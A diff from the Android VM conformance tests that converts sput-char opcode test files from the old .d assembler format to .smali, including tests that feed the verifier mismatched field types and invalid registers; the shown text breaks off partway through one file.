diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_12.smali
new file mode 100644
index 0000000..4c33f94
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_12.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_12;
+.super  Ljava/lang/Object;
+
+.field public static final st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_12;->st_i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.d
deleted file mode 100644
index 5b97bc4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.d
+++ /dev/null
@@ -1,53 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source StubInitError.java
-.class public dot.junit.opcodes.sput_char.d.StubInitError
-.super java/lang/Object
-
-.field public static value C
-
-.method static <clinit>()V
-.limit regs 2
-
-       const/4 v0, 0
-       const/4 v1, 5
-       div-int/2addr v1, v0
-
-       sput-char v1, dot.junit.opcodes.sput_char.d.StubInitError.value C
-       return-void
-.end method
-
-
-.source T_sput_char_13.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-char v1, dot.junit.opcodes.sput_char.d.StubInitError.value C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.java b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.java
index 786f121..6ff35b5 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.java
@@ -17,6 +17,7 @@
 package dot.junit.opcodes.sput_char.d;
 
 class StubInitError {
+    @SuppressWarnings("ConstantOverflow")
     static char value = (char)(5 / 0); 
 }
 
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.smalis/StubInitError.smali
new file mode 100644
index 0000000..69298c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.smalis/StubInitError.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_char/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static value:C
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x5
+
+    div-int/2addr v1, v0
+
+    sput-char v1, Ldot/junit/opcodes/sput_char/d/StubInitError;->value:C
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.smalis/T_sput_char_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.smalis/T_sput_char_13.smali
new file mode 100644
index 0000000..2bf8593
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.smalis/T_sput_char_13.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_char/d/T_sput_char_13;
+.super Ljava/lang/Object;
+.source "T_sput_char_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x1
+
+    sput-char v1, Ldot/junit/opcodes/sput_char/d/StubInitError;->value:C
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_14.d
deleted file mode 100644
index f682166..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_14.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_14.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_14
-.super dot/junit/opcodes/sput_char/d/T_sput_char_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput_char/d/T_sput_char_1/<init>()V
-       return-void
-.end method
-
-.method public static getProtectedField()C
-.limit regs 2
-
-       sget-char v0, dot.junit.opcodes.sput_char.d.T_sput_char_1.st_p1 C
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       sput-char v1, dot.junit.opcodes.sput_char.d.T_sput_char_1.st_p1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_14.smali
new file mode 100644
index 0000000..f53e67a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_14.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_14.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_14;
+.super  Ldot/junit/opcodes/sput_char/d/T_sput_char_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_char/d/T_sput_char_1;-><init>()V
+       return-void
+.end method
+
+.method public static getProtectedField()C
+.registers 2
+
+       sget-char v0, Ldot/junit/opcodes/sput_char/d/T_sput_char_1;->st_p1:C
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_1;->st_p1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_15.d
deleted file mode 100644
index cccb96b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_15.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_15
-.super dot/junit/opcodes/sput_char/d/T_sput_char_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput_char/d/T_sput_char_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/16 v1, 1
-       sput-char v1, dot.junit.opcodes.sput_char.d.T_sput_char_1.st_pvt1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_15.smali
new file mode 100644
index 0000000..4d4ceef
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_15.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_15;
+.super  Ldot/junit/opcodes/sput_char/d/T_sput_char_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_char/d/T_sput_char_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 1
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_1;->st_pvt1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_17.d
deleted file mode 100644
index 22af6be..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_17.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_17.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_17
-.super java/lang/Object
-
-.field public static st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-char v1, dot.junit.opcodes.sput_char.d.T_sput_char_17.st_i1 C
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_17.smali
new file mode 100644
index 0000000..ae24941
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_17.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_17.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_17;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_17;->st_i1:C
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_18.d
deleted file mode 100644
index f1fbeb6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_18.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_18.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_18
-.super java/lang/Object
-
-.field public static st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-char v1, dot.junit.opcodes.sput_char.d.T_sput_char_18.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_18.smali
new file mode 100644
index 0000000..7e4645e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_18.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_18.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_18;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_18;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_2.d
deleted file mode 100644
index aa5f7d6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_2.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_2
-.super java/lang/Object
-
-.field public static st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       sput-char v0, dot.junit.opcodes.sput_char.d.T_sput_char_4.st_i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_2.smali
new file mode 100644
index 0000000..b5b2122
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_2.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_2;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       sput-char v0, Ldot/junit/opcodes/sput_char/d/T_sput_char_4;->st_i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_20.d
deleted file mode 100644
index 92d2e6e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_20.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_20
-.super java/lang/Object
-
-.field public static st_o Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       sput-char v3, dot.junit.opcodes.sput_char.d.T_sput_char_20.st_o Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_20.smali
new file mode 100644
index 0000000..0858bcc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_20.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_char/d/T_sput_char_20;
+.super Ljava/lang/Object;
+.source "T_sput_char_20.java"
+
+
+# static fields
+.field public static st_o:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    sput-char p0, Ldot/junit/opcodes/sput_char/d/T_sput_char_20;->st_o:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_21.d
deleted file mode 100644
index bdf6fe3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_21.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_21
-.super java/lang/Object
-
-.field public static st_s S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 12    
-       sput-char v0, dot.junit.opcodes.sput_char.d.T_sput_char_21.st_s S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_21.smali
new file mode 100644
index 0000000..a252e1f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_21.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_21;
+.super  Ljava/lang/Object;
+
+.field public static st_s:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 12    
+       sput-char v0, Ldot/junit/opcodes/sput_char/d/T_sput_char_21;->st_s:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_22.d
deleted file mode 100644
index fa16663..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_22.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_22.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_22
-.super java/lang/Object
-
-.field public static st_i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-char v0, dot.junit.opcodes.sput_char.d.T_sput_char_22.st_i I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_22.smali
new file mode 100644
index 0000000..ecd8c2b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_22.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_22.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_22;
+.super  Ljava/lang/Object;
+
+.field public static st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-char v0, Ldot/junit/opcodes/sput_char/d/T_sput_char_22;->st_i:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_23.d
deleted file mode 100644
index fd69e4f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_23.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_23.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_23
-.super java/lang/Object
-
-.field public static st_b B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-char v0, dot.junit.opcodes.sput_char.d.T_sput_char_23.st_b B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_23.smali
new file mode 100644
index 0000000..4fb2ed0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_23.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_23.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_23;
+.super  Ljava/lang/Object;
+
+.field public static st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
